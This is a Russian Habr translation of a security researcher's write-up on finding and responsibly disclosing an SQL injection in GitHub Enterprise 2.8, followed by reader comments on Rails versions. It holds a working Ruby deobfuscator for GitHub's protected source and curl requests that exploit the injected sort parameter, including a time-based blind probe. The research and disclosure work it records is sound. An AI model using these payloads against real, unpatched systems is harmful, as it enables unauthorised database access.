Привет Хабр,

Ниже рассказ автора Orange Tsai о том, как он целенаправленно искал уязвимость в корпоративной версии GitHub и в итоге обнаружил возможность SQL инъекции. Тут, на хабре, ранее уже публиковался перевод другой его статьи "Как я взломал Facebook и обнаружил чужой бэкдор".

Перед началом


GitHub Enterprise это корпоративная версия GitHub.com, предназначенная для развёртывания платформы GitHub в приватной сети для разработки. Зайдя на enterprise.github.com можно скачать виртуальную машину (VM) с бесплатным пробным периодом в 45 дней.

После установки мы увидим:





Теперь, в моей VM есть полная экосистема GitHub. Это так интересно, что мне захотелось взглянуть на VM поближе :P.

Окружение


Началом всего и вся является сканирование портов. После вызова полезной утилиты Nmap, можно увидеть что в VM открыты 6 портов.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

После некоторого анализа сервисов, можно сказать, что:

  • 22/tcp и 9418/tcp похожи на haproxy и перенаправляют подключения в сервис бэкенда babeld.
  • 80/tcp и 443/tcp это основные службы GitHub.
  • 122/tcp — служба SSH.
  • 8443/tcp — консоль управления GitHub.

К слову, консоль управления GitHub требует пароль для входа. Если есть пароль, то можно добавить свой SSH ключ и подключиться к VM через 122/tcp.

Используя SSH подключение к VM, мы взглянули на всю систему и по всей видимости кодовая база лежит в директории /data/.

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Перейдём в /data/ и попробуем посмотреть на исходники. Кажется, они закодированы :(



GitHub использует собственную библиотеку для обфускации исходного кода. Если поискать в Гугле «ruby_concealer.so», то найдёте доброго человека, написавшего сниппет для деобфускации.

Сниппет получается простой заменой в ruby_concealer.so вызовов rb_f_eval на rb_f_puts и это работает.

Но нельзя называться хакером, не поняв как именно это работает. Поэтому откроем IDA Pro!





Как можно заметить, тут используется Zlib::Inflate::inflate для распаковывания и операции XOR со следующим ключом:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken.
[перевод] Данная обфускация предназначена чтобы отбить желание пользователей GitHub Enterprise вносить изменения в VM. Мы знаем, что это "кодирование" легко ломается. 

Значит можно легко написать свой деобфускатор!

require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext

Анализ кода


После деобфускации можно наконец начать обозревать код.

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...

$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Большинство кода написано на Ruby (Ruby on Rails и Sinatra).

  • /data/github/ судя по всему и есть приложение, работающее с портами 80/tcp, 443/tcp и похоже это та же кодовая база что и на github.com, gist.github.com и api.github.com
  • /data/render/ видимо кодовая база render.githubusercontent.com
  • /data/enterprise-manage/ похоже на приложение, которое работает с портом 8443/tcp

Чтобы узнать, работает ли приложение в корпоративном режиме, либо же в GitHub.com, GitHub Enterprise использует соответственно enterprise? и dotcom?.

Уязвимость


У меня ушла, приблизительно, одна неделя чтобы найти данную уязвимость. Я не знаком с Ruby, поэтому учил на ходу, пробуя писать на нём :P

Так, грубо говоря, прошла моя неделя.

  • День 1 — Установка VM
  • День 2 — Установка VM
  • День 3 — Изучение Rails путём анализа кода
  • День 4 — Изучение Rails путём анализа кода
  • День 5 — Изучение Rails путём анализа кода
  • День 6 — А вот я и нашёл SQL инъекцию!

SQL инъекция была найдена в модели PreReceiveHookTarget.

Основная причина уязвимости кроется в строке №45 файла /data/github/current/app/model/pre_receive_hook_target.rb.

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Хотя в Rails есть встроенный ORM (называемый ActiveRecord), который должен защищать от SQL инъекций, наивное его использование может таить угрозу.

Больше примеров есть на Rails-sqli.org. Думаю полезно знать о SQL инъекциях в Rails.

В данном случае, если нам удастся изменить параметр метода order, то получится внедрить вредоносный SQL запрос.

Хорошо, теперь давайте проследим вызовы! sorted_by вызывается в строке №61 файла /data/github/current/app/api/org_pre_receive_hooks.rb.

10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

Обратите внимание, params[:sort] передается в scope.sorted_by. Значит можно осуществить инъекцию через params[:sort].

Перед тем как воспользоваться уязвимостью, понадобится действующий токен access_token с параметром admin:pre_receive_hook чтобы обращаться к API. К счастью, его можно получить с помощью команды:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' -d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

После получения токена, можно воспользоваться уязвимостью так:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}



Хронология


  • 26.12.2016 05:48 Сообщение о уязвимости в GitHub через HackerOne.
  • 26.12.2016 08:39 GitHub подтверждает существование проблемы и работает над её устранением.
  • 26.12.2016 15:48 Сообщение о деталях уязвимости.
  • 28.12.2016 02:44 GitHub отвечает, что уязвимость устранят в следующей версии GitHub Enterprise.
  • 04.01.2017 06:41 GitHub предлагает награду в $5000.
  • 05.01.2017 02:37 Спрашиваю можно ли написать об этом в блоге.
  • 05.01.2017 03:06 GitHub любезно разрешает рассказать об этом.
  • 05.01.2017 07:06 Релиз GitHub Enterprise версии 2.8.5!
Поделиться с друзьями
-->

Комментарии (6)


  1. Envek
    18.01.2017 11:42

    Ох, не боги горшки обжигают… Так проколоться и не проверить входные данные перед тем как сформировать из них просто кусочек SQL-я, а ведь даже в примерах в документации Rails для начинающих Rails Guides видно, что это просто фрагмент SQL: http://guides.rubyonrails.org/active_record_querying.html#ordering


  1. Dreyk
    18.01.2017 13:36

    • 2017
    • Rails version 3.2.22.4
    • печаль =(

    если что, то рельсы 3-й версии уже не получают security patches даже для severe security issues


    1. Tonkonozhenko
      18.01.2017 16:23

      Насколько я знаю, они не на ванильных рельсах, у них своя сборка.


      1. Dreyk
        18.01.2017 17:18

        это конечно объясняет, почему они до сих пор на трешке, но лучше от этого не становится


    1. Envek
      20.01.2017 10:04
      +1

      За всё время написали столько кода и сделали настолько большие приложения, что некоторые до сих пор с 2.3 обновиться не могут. Специально для них даже есть платная Rails LTS, которая получает патчи. И, видимо, есть немало компаний, которые считают, что платить за поддержку старых версий рельсы выгоднее, чем обновляться.


      1. Dreyk
        20.01.2017 12:40

        прикольно, не знал про LTS. ну я читал где-то блог кого-то кто в гитхабе работает, там он пишет, что собираются они перебираться на ruby 2.3 и рельсы тоже подтягивать